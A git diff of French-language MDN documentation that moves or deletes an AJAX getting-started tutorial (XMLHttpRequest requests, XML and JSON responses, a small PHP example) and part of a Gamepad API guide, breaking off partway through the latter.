+    }
+    httpRequest.onreadystatechange = alertContents;
+    httpRequest.open('GET', 'test.html');
+    httpRequest.send();
+  }
+
+  function alertContents() {
+    if (httpRequest.readyState === XMLHttpRequest.DONE) {
+      if (httpRequest.status === 200) {
+        alert(httpRequest.responseText);
+      } else {
+        alert('Il y a eu un problème avec la requête.');
+      }
+    }
+  }
+})();
+</script>
+ +

Dans cet exemple :

+ +
    +
  • L’utilisateur ou l’utilisatrice clique sur le bouton « Faire une requête » ;
    • +
  • Le gestionnaire d’évènement appelle la fonction makeRequest() ;
    • +
  • la requête est faite, puis l’exécution est passée à alertContents() (via onreadystatechange);
    • +
  • alertContents() vérifie si la réponse reçue est correcte, et affiche ensuite le contenu du fichier test.html dans un message alert().
    • +
+ +
+

Note : Si vous envoyez une requête à du code qui renvoie du XML plutôt qu’un fichier HTML statique, vous devez spécifier des en-têtes de réponse pour que cela fonctionne avec Internet Explorer. Si vous ne spécifiez pas l’en-tête Content-Type: application/xml, IE émettra une erreur JavaScript « Objet attendu » après la ligne à laquelle vous avez tenté d’accéder à l’élément XML.

+
+ +
+

Note 2 : Si vous ne spécifiez pas l’en-tête Cache-Control: no-cache, le navigateur mettra la réponse en cache et n’effectuera plus jamais la requête ultérieurement, ce qui peut rendre le débogage difficile. Vous pouvez également ajouter un paramètre GET toujours différent, comme un timestamp ou un nombre aléatoire (voir contourner le cache).

+
+ +
+

Note 3 : Si la variable httpRequest est utilisée globalement, des appels concurrents à makeRequest() peuvent s’écraser l’un l’autre, provoquant une situation de compétition (race condition). On peut s’en prémunir en déclarant la variable httpRequest locale à une closure contenant les fonctions AJAX.

+
+ +

Si une erreur de communication se produit (par exemple le serveur qui cesse de répondre), une exception sera levée dans la méthode onreadystatechange lors de l’accès à la propriété status. Pour atténuer ce problème, vous pouvez entourer votre bloc if...then dans un try...catch :

+ +
function alertContents(httpRequest) {
+  try {
+    if (httpRequest.readyState === XMLHttpRequest.DONE) {
+      if (httpRequest.status === 200) {
+        alert(httpRequest.responseText);
+      } else {
+        alert("Un problème est survenu au cours de la requête.");
+      }
+    }
+  }
+  catch( e ) {
+    alert("Une exception s’est produite : " + e.description);
+  }
+}
+ +

Étape 4 — Travailler avec des réponses XML

+ +

Dans l’exemple précédent, après avoir reçu la réponse à la requête HTTP, nous avons utilisé la propriété responseText de l’objet, qui contenait le contenu du fichier test.html. Essayons maintenant la propriété responseXML.

+ +

Tout d’abord, créons un document XML valide qui sera l’objet de la requête. Le document (test.xml) contient ce qui suit :

+ +
<?xml version="1.0" ?>
+<root>
+    Je suis un test.
+</root>
+
+ +

Dans le script, il est seulement nécessaire de remplacer la ligne de requête par :

+ +
...
+onclick="makeRequest('test.xml')">
+...
+
+ +

Ensuite, dans alertContents(), il faut remplacer la ligne alert(httpRequest.responseText); par :

+ +
var xmldoc = httpRequest.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+
+ +

Ce code prend l’objet XMLDocument donné par responseXML et utilise les méthodes du DOM pour accéder à des données contenues dans le document XML.

+ +

Catégories

+ +

Interwiki

+ +

Étape 5 – Manipuler les données

+ +

Pour finir, envoyons quelques données au serveur et réceptionnons la réponse. Notre JavaScript demandera cette fois-ci une page dynamique, test.php, qui prendra notre contenu envoyé et revera une chaîne « calculée » – "Bonjour, [user data] !" – que nous afficherons via alert().

+ +

D’abord, nous allons ajouter un boîte de texte dans notre HTML afin que l’utilisateur ou l’utilisatrice puisse saisir son nom :

+ +
<label>Vore nom :
+  <input type="text" id="ajaxTextbox" />
+</label>
+<span id="ajaxButton" style="cursor: pointer; text-decoration: underline">
+  Lancer une requête
+</span>
+ +

Nous allons également ajouter une ligne à notre gestionnaire d’événement pour obtenir les données de la boite de texte et les envoyer à la fonction makeRequest(), ainsi que l’URL de notre script côté serveur :

+ +
  document.getElementById("ajaxButton").onclick = function() {
+      var userName = document.getElementById("ajaxTextbox").value;
+      makeRequest('test.php', userName);
+  };
+ +

Nous devons modifier makeRequest() afin d’accepter les données et les transmettre au serveur. Nous changerons la méthode de GET à POST et inclurons nos données en paramètres dans l’appel à httpRequest.send() :

+ +
  function makeRequest(url, userName) {
+
+    ...
+
+    httpRequest.onreadystatechange = alertContents;
+    httpRequest.open('POST', url);
+    httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+    httpRequest.send('userName=' + encodeURIComponent(userName));
+  }
+ +

La fonction alertContents() peut être écrite de la même manière qu’à l’étape 3 pour afficher notre chaîne calculée, si c’est tout ce que le serveur renvoie. Cependant, supposons que le serveur renvoie à la fois la phrase calculée et la donnée originale. Donc si l’utilisateur ou l’utilisatrice a saisi « Dorothée », la réponse du serveur ressemblera à :

+ +
{"userData":"Dorothée","computedString":"Bonjour, Dorothée !"}
+ +

Pour utiliser cette phrase dans alertContents(), nous ne pouvons pas simplement afficher une alerte avec le contenu de responseText, nous devons l’analyser et afficher computedString, la propriété que nous souhaitons :

+ +
function alertContents() {
+  if (httpRequest.readyState === XMLHttpRequest.DONE) {
+    if (httpRequest.status === 200) {
+      var response = JSON.parse(httpRequest.responseText);
+      alert(response.computedString);
+    } else {
+      alert('Un problème est survenu avec la requête.');
+    }
+  }
+}
+ +

Le fichier test.php devrait contenir ce qui suit :

+ +
$name = (isset($_POST['userName'])) ? $_POST['userName'] : 'anonyme';
+$computedString = 'Bonjour, ' . $name . ' !';
+$array = ['userName' => $name, 'computedString' => $computedString];
+echo json_encode($array);
+ +

Pour en savoir sur les méthodes DOM, pensez à lire la Référence du DOM de Mozilla.

diff --git a/files/fr/web/guide/ajax/premiers_pas/index.html b/files/fr/web/guide/ajax/premiers_pas/index.html deleted file mode 100644 index bce7938f0f..0000000000 --- a/files/fr/web/guide/ajax/premiers_pas/index.html +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: Premiers pas -slug: Web/Guide/AJAX/Premiers_pas -tags: - - AJAX -translation_of: Web/Guide/AJAX/Getting_Started ---- -

Cet article vous guide à travers les bases d’AJAX et vous donne deux exemples clefs-en-main pour débuter.

- -

Présentation d’AJAX

- -

AJAX est un raccourci pour Asynchronous JavaScript And XML (JavaScript asynchrone et XML) inventé par Jesse James Garrett. Pour simplifier, il s’agit d’employer l’objet XMLHttpRequest pour communiquer avec des serveurs. Il peut envoyer et recevoir des informations sous différents formats, dont JSON, XML, HTML ou texte. Son principal attrait est sa nature « asynchrone » ce qui signifie qu’il peut communiquer avec le serveur, échanger des données et mettre à jour la page sans avoir à la recharger.

- -

Les deux principales fonctionnalités d’AJAX permettent de :

- -
    -
  • faire des requêtes vers le serveur sans recharger la page ;
    • -
  • recevoir et travailler avec des données provenant du serveur.
    • -
- -

Étape 1 — Lancement d’une requête HTTP

- -

Pour faire une requête HTTP vers le serveur à l’aide de JavaScript, il faut disposer d’une instance d’objet fournissant cette fonctionnalité. C’est ici que XMLHttpRequest intervient. Son prédécesseur est originaire de Internet Explorer sous la forme d’un objet ActiveX appelé XMLHTTP. Par la suite, Mozilla, Safari et d’autres navigateurs ont suivi en implémentant un objet XMLHttpRequest qui fournit les mêmes méthodes et propriétés que l’objet ActiveX original de Microsoft. Entre temps, Microsoft a également implémenté XMLHttpRequest.

- -
// ancien code de compatibilité, aujourd’hui inutile
-if (window.XMLHttpRequest) { // Mozilla, Safari, IE7+...
-    httpRequest = new XMLHttpRequest();
-}
-else if (window.ActiveXObject) { // IE 6 et antérieurs
-    httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
-}
- -
-

Note : Pour illustrer le principe, le code ci-dessus est une version un peu simplifiée de celui qui est utilisé pour créer une instance XMLHTTP. Pour un exemple plus réaliste, voir l’étape 3 de cet article.

-
- -

Après avoir fait une requête, vous recevrez une réponse du serveur. À ce stade, vous devez indiquer à l’objet httpRequest le nom de la fonction JavaScript qui traitera la réponse. Pour cela, assignez à la propriété onreadystatechange de l’objet le nom de la fonction JavaScript que vous envisagez d’utiliser, comme ceci :

- -
httpRequest.onreadystatechange = nomDeLaFonction;
- -

Notez qu’il n’y a ni parenthèses ni paramètres après le nom de la fonction, car vous ne faites qu’assigner une référence à la fonction sans l’appeler réellement. Alternativement, au lieu de donner un nom de fonction, vous pouvez utiliser la technique JavaScript de définition de fonctions à la volée (ce qu’on appelle une fonction anonyme), et définir à cet endroit les actions à effectuer sur la réponse, comme ceci :

- -
httpRequest.onreadystatechange = function() {
-    // instructions de traitement de la réponse
-};
-
- -

Ensuite, après avoir déclaré ce qui se produit lorsque la réponse est reçue, il s’agit de lancer effectivement la requête. Il faut pour cela appeler les méthodes open() et send() de l’objet httpRequest, comme ceci :

- -
httpRequest.open('GET', 'http://www.example.org/some.file', true);
-httpRequest.send();
- -
    -
  • Le premier paramètre de l’appel à open() est la méthode de requête HTTP — GET, POST, HEAD ou toute autre méthode gérée par votre serveur. Laissez le nom de la méthode en majuscules comme spécifié par la norme HTTP ; autrement certains navigateurs (comme Firefox) peuvent ne pas traiter la requête. Pour plus d’informations sur les méthodes de requêtes HTTP possibles, vous pouvez consulter les spécifications du W3C.
    • -
  • Le second paramètre est l’URL à laquelle vous envoyez la requête. Pour des raisons de sécurité, il est par défaut impossible d’appeler des URL se situant sur un domaine de tierce-partie. Veillez à utiliser le nom de domaine exact sur toutes vos pages ou vous obtiendrez une erreur « permission refusée » lors de l’appel à open(). Une erreur courante est de charger le site via domaine.tld, mais d’essayer d’appeler des pages avec www.domain.tld. Si vous avez réellement besoin d’envoyer une requête vers un autre domaine, veuillez consulter Cross-Origin Resource Sharing (CORS).
    • -
  • Le troisième paramètre, optionnel, précise si la requête est asynchrone. Si mis à true (sa valeur par défaut), l’exécution de JavaScript se poursuivra, et l’utilisateur ou l’utilisatrice pourra interagir avec la page, en attendant l’arrivée de la réponse du serveur. C’est le premier « A » de « AJAX ».
    • -
- -

Le paramètre de la méthode send() peut être n’importe quelle donnée que vous voulez envoyer au serveur en cas d’utilisation de la méthode POST. Les données doivent être sous la forme d’une chaîne de requête, comme :

- -
"nom=valeur&autrenom="+encodeURIComponent(autrevaleur)+"&ainsi=desuite"
- -

Ou d’autres formats tels que multipart/form-data, JSON, XML, etc.

- -

Notez que si vous voulez envoyer des données avec la méthode POST, vous aurez peut-être à changer le type MIME de la requête. Par exemple, utilisez ce qui suit avant d’appeler send() pour envoyer des données de formulaire en tant que chaîne de requête :

- -
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
-
- -

Étape 2 — Gestion de la réponse du serveur

- -

Lors de l’envoi de la requête, vous avez désigné une fonction JavaScript pour traiter la réponse.

- -
httpRequest.onreadystatechange = nomDeLaFonction;
- -

Voyons maintenant ce que cette fonction doit faire. Tout d’abord, elle doit vérifier l’état de la requête. Si cet état a la valeur de XMLHttpRequest.DONE (ce qui correspond à 4), cela signifie que la réponse du serveur a été reçue dans son intégralité et qu’elle peut maintenant être traitée.

- -
if (httpRequest.readyState === XMLHttpRequest.DONE) {
-    // tout va bien, la réponse a été reçue
-} else {
-    // pas encore prête
-}
- -

La liste complète des valeurs de readyState est documentée sur XMLHttpRequest.readyState et se résume de cette façon :

- -
    -
  • 0 (non initialisée) ou (requête non initialisée)
    • -
  • 1 (en cours de chargement) ou (connexion établie avec le serveur)
    • -
  • 2 (chargée) ou (requête reçue)
    • -
  • 3 (en cours d’interaction) ou (requête en cours de traitement)
    • -
  • 4 (terminée) ou (requête terminée et réponse prête)
    • -
- -

Ensuite, vérifiez le code de statut HTTP de la réponse du serveur. Tous les codes possibles sont listés sur le site du W3C. Dans l’exemple qui suit, nous différencions un appel réussi ou échoué en vérifiant la réception d’un code 200 OK.

- -
if (httpRequest.status === 200) {
-    // parfait !
-} else {
-    // il y a eu un problème avec la requête,
-    // par exemple la réponse peut être un code 404 (Non trouvée)
-    // ou 500 (Erreur interne au serveur)
-}
-
- -

Après avoir vérifié l’état de la requête et le code de statut HTTP de la réponse, vous pouvez traiter à votre guise les données envoyées par le serveur. Il existe deux manières d’accéder à ces données :

- -
    -
  • httpRequest.responseText — renvoie la réponse du serveur sous la forme d’une chaîne de texte ;
    • -
  • httpRequest.responseXML — renvoie la réponse sous la forme d’un objet XMLDocument que vous pouvez parcourir à l’aide des fonctions DOM de JavaScript.
    • -
- -

Notez que les étapes ci-dessus sont valides uniquement si vous utilisez une requête asynchrone (Le 3e paramètre d’open() n’a pas été spécifié, ou a été défini à true). Si vous utilisez une requête synchrone, vous n’avez pas besoin de spécifier une fonction, mais c’est fortement découragé car cela entraîne une mauvaise expérience utilisateur.

- -

Étape 3 — Un exemple simple

- -

Rassemblons tous ces éléments dans un exemple : une requête HTTP simple. Notre JavaScript demande un document HTML, test.html, qui contient le texte « Je suis un test. », puis nous affichons le contenu de la réponse dans un message alert(). Remarquez que cet exemple n’utilise que du pur JavaScript vanilla (pas de jQuery). D’autre part, les fichiers HTML, XML et PHP doivent être placés dans le même dossier.

- -
<button id="ajaxButton" type="button">Faire une requête</button>
-
-<script>
-(function() {
-  var httpRequest;
-  document.getElementById("ajaxButton").addEventListener('click', makeRequest);
-
-  function makeRequest() {
-    httpRequest = new XMLHttpRequest();
-
-    if (!httpRequest) {
-      alert('Abandon :( Impossible de créer une instance de XMLHTTP');
-      return false;
-    }
-    httpRequest.onreadystatechange = alertContents;
-    httpRequest.open('GET', 'test.html');
-    httpRequest.send();
-  }
-
-  function alertContents() {
-    if (httpRequest.readyState === XMLHttpRequest.DONE) {
-      if (httpRequest.status === 200) {
-        alert(httpRequest.responseText);
-      } else {
-        alert('Il y a eu un problème avec la requête.');
-      }
-    }
-  }
-})();
-</script>
- -

Dans cet exemple :

- -
    -
  • L’utilisateur ou l’utilisatrice clique sur le bouton « Faire une requête » ;
    • -
  • Le gestionnaire d’évènement appelle la fonction makeRequest() ;
    • -
  • la requête est faite, puis l’exécution est passée à alertContents() (via onreadystatechange);
    • -
  • alertContents() vérifie si la réponse reçue est correcte, et affiche ensuite le contenu du fichier test.html dans un message alert().
    • -
- -
-

Note : Si vous envoyez une requête à du code qui renvoie du XML plutôt qu’un fichier HTML statique, vous devez spécifier des en-têtes de réponse pour que cela fonctionne avec Internet Explorer. Si vous ne spécifiez pas l’en-tête Content-Type: application/xml, IE émettra une erreur JavaScript « Objet attendu » après la ligne à laquelle vous avez tenté d’accéder à l’élément XML.

-
- -
-

Note 2 : Si vous ne spécifiez pas l’en-tête Cache-Control: no-cache, le navigateur mettra la réponse en cache et n’effectuera plus jamais la requête ultérieurement, ce qui peut rendre le débogage difficile. Vous pouvez également ajouter un paramètre GET toujours différent, comme un timestamp ou un nombre aléatoire (voir contourner le cache).

-
- -
-

Note 3 : Si la variable httpRequest est utilisée globalement, des appels concurrents à makeRequest() peuvent s’écraser l’un l’autre, provoquant une situation de compétition (race condition). On peut s’en prémunir en déclarant la variable httpRequest locale à une closure contenant les fonctions AJAX.

-
- -

Si une erreur de communication se produit (par exemple le serveur qui cesse de répondre), une exception sera levée dans la méthode onreadystatechange lors de l’accès à la propriété status. Pour atténuer ce problème, vous pouvez entourer votre bloc if...then dans un try...catch :

- -
function alertContents(httpRequest) {
-  try {
-    if (httpRequest.readyState === XMLHttpRequest.DONE) {
-      if (httpRequest.status === 200) {
-        alert(httpRequest.responseText);
-      } else {
-        alert("Un problème est survenu au cours de la requête.");
-      }
-    }
-  }
-  catch( e ) {
-    alert("Une exception s’est produite : " + e.description);
-  }
-}
- -

Étape 4 — Travailler avec des réponses XML

- -

Dans l’exemple précédent, après avoir reçu la réponse à la requête HTTP, nous avons utilisé la propriété responseText de l’objet, qui contenait le contenu du fichier test.html. Essayons maintenant la propriété responseXML.

- -

Tout d’abord, créons un document XML valide qui sera l’objet de la requête. Le document (test.xml) contient ce qui suit :

- -
<?xml version="1.0" ?>
-<root>
-    Je suis un test.
-</root>
-
- -

Dans le script, il est seulement nécessaire de remplacer la ligne de requête par :

- -
...
-onclick="makeRequest('test.xml')">
-...
-
- -

Ensuite, dans alertContents(), il faut remplacer la ligne alert(httpRequest.responseText); par :

- -
var xmldoc = httpRequest.responseXML;
-var root_node = xmldoc.getElementsByTagName('root').item(0);
-alert(root_node.firstChild.data);
-
- -

Ce code prend l’objet XMLDocument donné par responseXML et utilise les méthodes du DOM pour accéder à des données contenues dans le document XML.

- -

Catégories

- -

Interwiki

- -

Étape 5 – Manipuler les données

- -

Pour finir, envoyons quelques données au serveur et réceptionnons la réponse. Notre JavaScript demandera cette fois-ci une page dynamique, test.php, qui prendra notre contenu envoyé et revera une chaîne « calculée » – "Bonjour, [user data] !" – que nous afficherons via alert().

- -

D’abord, nous allons ajouter un boîte de texte dans notre HTML afin que l’utilisateur ou l’utilisatrice puisse saisir son nom :

- -
<label>Vore nom :
-  <input type="text" id="ajaxTextbox" />
-</label>
-<span id="ajaxButton" style="cursor: pointer; text-decoration: underline">
-  Lancer une requête
-</span>
- -

Nous allons également ajouter une ligne à notre gestionnaire d’événement pour obtenir les données de la boite de texte et les envoyer à la fonction makeRequest(), ainsi que l’URL de notre script côté serveur :

- -
  document.getElementById("ajaxButton").onclick = function() {
-      var userName = document.getElementById("ajaxTextbox").value;
-      makeRequest('test.php', userName);
-  };
- -

Nous devons modifier makeRequest() afin d’accepter les données et les transmettre au serveur. Nous changerons la méthode de GET à POST et inclurons nos données en paramètres dans l’appel à httpRequest.send() :

- -
  function makeRequest(url, userName) {
-
-    ...
-
-    httpRequest.onreadystatechange = alertContents;
-    httpRequest.open('POST', url);
-    httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
-    httpRequest.send('userName=' + encodeURIComponent(userName));
-  }
- -

La fonction alertContents() peut être écrite de la même manière qu’à l’étape 3 pour afficher notre chaîne calculée, si c’est tout ce que le serveur renvoie. Cependant, supposons que le serveur renvoie à la fois la phrase calculée et la donnée originale. Donc si l’utilisateur ou l’utilisatrice a saisi « Dorothée », la réponse du serveur ressemblera à :

- -
{"userData":"Dorothée","computedString":"Bonjour, Dorothée !"}
- -

Pour utiliser cette phrase dans alertContents(), nous ne pouvons pas simplement afficher une alerte avec le contenu de responseText, nous devons l’analyser et afficher computedString, la propriété que nous souhaitons :

- -
function alertContents() {
-  if (httpRequest.readyState === XMLHttpRequest.DONE) {
-    if (httpRequest.status === 200) {
-      var response = JSON.parse(httpRequest.responseText);
-      alert(response.computedString);
-    } else {
-      alert('Un problème est survenu avec la requête.');
-    }
-  }
-}
- -

Le fichier test.php devrait contenir ce qui suit :

- -
$name = (isset($_POST['userName'])) ? $_POST['userName'] : 'anonyme';
-$computedString = 'Bonjour, ' . $name . ' !';
-$array = ['userName' => $name, 'computedString' => $computedString];
-echo json_encode($array);
- -

Pour en savoir sur les méthodes DOM, pensez à lire la Référence du DOM de Mozilla.

diff --git a/files/fr/web/guide/api/gamepad/index.html b/files/fr/web/guide/api/gamepad/index.html deleted file mode 100644 index 1cfa50fc2c..0000000000 --- a/files/fr/web/guide/api/gamepad/index.html +++ /dev/null @@ -1,281 +0,0 @@ ---- -title: Utiliser l'API Gamepad -slug: Web/Guide/API/Gamepad -translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API ---- -

{{ SeeCompatTable() }}

-
-

HTML5 a introduit plusieurs des composants nécessaires pour le développement de jeux vidéos riches et interactifs. Des technologies comme <canvas>, WebGL, <audio>, et <video>, ainsi que les implémentations JavaScript, ont mûri au point de supporter plusieurs fonctions autrefois réservées aux applications natives. L'API Gamepad est une manière pour les développeurs et designers d'accéder aux contrôleurs de jeux.

-
-
-

Note: Dans Firefox 29 et plus, l'API Gamepad est activée par défaut, tout comme pour les versions Nightly et Aurora. Depuis Firefox 24, l'API Gamepad était déjà disponible derrière une option dans les préférences. Il est possible de l'activer dans ces versions en ouvrant about:config et en activant dom.gamepad.enabled.

-
-

L'API Gamepad introduit de nouveaux évènements à l'objet {{ domxref("Window") }} pour lire l'état des contrôleurs. En plus de ces événements, l'API ajoute aussi un objet {{ domxref("Gamepad") }} que vous pouvez utiliser pour récupérer l'état d'un contrôleur connecté, et une méthode {{ domxref("navigator.getGamepads") }} que vous pouvez utiliser pour obtenir la liste des contrôleurs connus par la page.

-

Connexion au contrôleur

-

Lorsqu'un nouveau contrôleur est connecté à l'ordinateur, la page active reçoit tout d'abord un événement {{ domxref("Window.gamepadconnected") }}. Si un contrôleur est déjà connecté lorsque la page termine de charger, l'événement {{ domxref("Window.gamepadconnected") }} est envoyé à la page active lorsque l'utilisateur appuie sur un bouton ou bouge un axe.

-
-

Dans Firefox, les contrôleurs ne sont rendus visibles à une page que lorsque l'utilisateur s'en sert alors que cette page est active. Cela permet d'éviter que les contrôleurs soient utilisés pour identifier l'utilisateur. Dès lors qu'un contrôleur a été utilisé, les autres contrôleurs connectés seront rendus visibles automatiquement.

-
-

Vous pouvez utiliser {{ domxref("Window.gamepadconnected") }} ainsi :

-
window.addEventListener("gamepadconnected", function(e) {
-  console.log("Contrôleur n°%d connecté : %s. %d boutons, %d axes.",
-  e.gamepad.index, e.gamepad.id,
-  e.gamepad.buttons.length, e.gamepad.axes.length);
-});
-
-

Chaque contrôleur est associé à un identifiant unique, qui est disponible dans la propriété gamepad de l'événement.

-
-

Note: À l'écriture de ces lignes, Chrome n'implémente pas les événements {{ domxref("Window.gamepadconnected") }} et {{ domxref("Window.gamepaddisconnected") }}. Vous devez utiliser {{ domxref("navigator.getGamepads") }} pour récupérer la liste des contrôleurs disponibles.

-
-

Déconnexion du contrôleur

-

Lorsqu'un contrôleur est déconnecté, et si la page avait déjà reçu des données de ce contrôleur auparavant (par exemple par l'événement {{ domxref("Window.gamepadconnected") }}), un second événement est envoyé à la fenêtre active :  {{ domxref("Window.gamepaddisconnected") }}.

-
window.addEventListener("gamepaddisconnected", function(e) {
-  console.log("Contrôleur n°%d déconnecté : %s",
-  e.gamepad.index, e.gamepad.id);
-});
-

La propriété index sera unique à chaque périphérique connecté au système, même si plusieurs contrôleurs du même type sont utilisés. La propriété correspond également à l'indice du tableau retourné par {{ domxref("navigator.getGamepads") }}.

-
var gamepads = {};
-
-function gamepadHandler(event, connecting) {
-  var gamepad = event.gamepad;
-  // Note :
-  // gamepad === navigator.getGamepads()[gamepad.index]
-
-  if (connecting) {
-    gamepads[gamepad.index] = gamepad;
-  } else {
-    delete gamepads[gamepad.index];
-  }
-}
-
-window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
-window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
-
-

Cet exemple montre également comment la propriété gamepad peut être conservée après que l'événement se soit terminé. Cette technique sera utilisée plus tard pour obtenir l'état du périphérique.

-
- [PAGE NON TRADUITE DEPUIS ICI...]
-
-  
-

Querying the Gamepad object

-

As you can see, the gamepad events discussed above include a gamepad property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires.

-

Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.

-
-

Note: The Gamepad API also provides a function -- {{ domxref("Navigator.getGamepads") }}-- that returns a list of all devices currently visible to the webpage, an array of {{ domxref("Gamepad") }} objects. This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:

-
-
window.addEventListener("gamepadconnected", function(e) {
-  var gp = navigator.getGamepads()[e.gamepad.index];
-  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
-  gp.index, gp.id,
-  gp.buttons.length, gp.axes.length);
-});
-

The {{ domxref("Gamepad") }} object's properties are as follows:

-
    -
  • id: A string containing some information about the controller. This is not strictly specified, but in Firefox it will contain three pieces of information separated by dashes (-): two 4-digit hexadecimal strings containing the USB vendor and product id of the controller, and the name of the controller as provided by the driver. This information is intended to allow you to find a mapping for the controls on the device as well as display useful feedback to the user.
    • -
  • index: An integer that is unique for each gamepad currently connected to the system. This can be used to distinguish multiple controllers. Note that disconnecting a device and then connecting a new device may reuse the previous index.
    • -
  • mapping: A string indicating whether the browser has remapped the controls on the device to a known layout. Currently there is only one supported known layout–the standard gamepad. If the browser is able to map controls on the device to that layout the mapping property will be set to the string standard.
    • -
  • connected: A boolean indicating whether the gamepad is still connected to the system. If this is so the value is True; if not, it is False.
    • -
  • buttons: An array of {{ domxref("GamepadButton") }} objects representing the buttons present on the device. Each {{ domxref("GamepadButton") }} has a pressed and a value property: -
      -
    • The pressed property is a boolean indicating whether the button is currently pressed (true) or unpressed (false).
      • -
    • The value property is a floating point value used to enable representing analog buttons, such as the triggers on many modern gamepads. The values are normalized to the range 0.0..1.0, with 0.0 representing a button that is not pressed, and 1.0 representing a button that is fully pressed.
      • -
    -
    • -
  • axes: An array representing the controls with axes present on the device (e.g. analog thumb sticks). Each entry in the array is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0).
    • -
  • timestamp: This returns a {{ domxref("DOMHighResTimeStamp") }} representing the last time the data for this gamepad was updated, allowing developers to determine if the axes and button data have been updated from the hardware. The value must be relative to the navigationStart attribute of the {{ domxref("PerformanceTiming") }} interface. Values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values. Note that this property is not currently supported in Firefox.
    • -
-
-

Note: The Gamepad object is available on the {{ domxref("Window.gamepadconnected") }} event rather than the {{ domxref("Window") }} object itself, for security reasons. Once we have a reference to it, we can query its properties for information about the current state of the gamepad. Behind the scenes, this object will be updated every time the gamepad's state changes.

-
-

Using button information

-

Let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. You can view the demo live, and find the source code on Github.

-

To start with, we declare some variables: The gamepadInfo paragraph that the connection info is written into, the ball that we want to move, the start variable that acts as the ID for requestAnimation Frame, the a and b variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("requestAnimationFrame") }} and {{ domxref("cancelRequestAnimationFrame") }} cross browser forks.

-
var gamepadInfo = document.getElementById("gamepad-info");
-var ball = document.getElementById("ball");
-var start;
-var a = 0;
-var b = 0;
-
-var rAF = window.mozRequestAnimationFrame ||
-  window.webkitRequestAnimationFrame ||
-  window.requestAnimationFrame;
-
-var rAFStop = window.mozCancelRequestAnimationFrame ||
-  window.webkitCancelRequestAnimationFrame ||
-  window.cancelRequestAnimationFrame;
-

Next we use the {{ domxref("Window.gamepadconnected") }} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads") }}[0], print information about the gamepad into our gamepad info div, and fire the gameLoop() function that starts the whole ball movement process up.

-
window.addEventListener("gamepadconnected", function(e) {
-  var gp = navigator.getGamepads()[e.gamepad.index];
-  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
-
-  gameLoop();
-});
-

Now we use the {{ domxref("Window.gamepaddisconnected") }} event to check if the gamepad is disconnected again. If so, we stop the {{ domxref("requestAnimationFrame") }} loop (see below) and revert the gamepad information back to what it was originally.

-
window.addEventListener("gamepaddisconnected", function(e) {
-  gamepadInfo.innerHTML = "Waiting for gamepad.";
-
-  rAFStop(start);
-});
-

Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads") }} is implemented with a webkit prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards-compatibility.

-
if(!('GamepadEvent' in window)) {
-  // No gamepad events available, poll instead.
-  var interval = setInterval(pollGamepads, 500);
-}
-
-function pollGamepads() {
-  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
-  for (var i = 0; i < gamepads.length; i++) {
-    var gp = gamepads[i];
-    if(gp) {
-      gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
-      gameLoop();
-      clearInterval(interval);
-    }
-  }
-}
-

Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the a and b movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of a and b respectively. This has the effect of moving the ball around the screen.  In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions.

-

After all this is done, we use our rAF variable to request the next animation frame, running gameLoop() again.

-
function buttonPressed(b) {
-  if (typeof(b) == "object") {
-    return b.pressed;
-  }
-  return b == 1.0;
-}
-
-function gameLoop() {
-  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
-  if (!gamepads)
-    return;
-
-  var gp = gamepads[0];
-  if (buttonPressed(gp.buttons[0])) {
-    b--;
-  } else if (buttonPressed(gp.buttons[2])) {
-    b++;
-  }
-  if(buttonPressed(gp.buttons[1])) {
-    a++;
-  } else if(buttonPressed(gp.buttons[3])) {
-    a--;
-  }
-
-  ball.style.left = a*2 + "px";
-  ball.style.top = b*2 + "px";
-
-  var start = rAF(gameLoop);
-};
-

Using axes information

-

TBD (basically the same, except using axes[i] rather than button[i].value for both Firefox and Chrome.)

-

Complete example: Displaying gamepad state

-

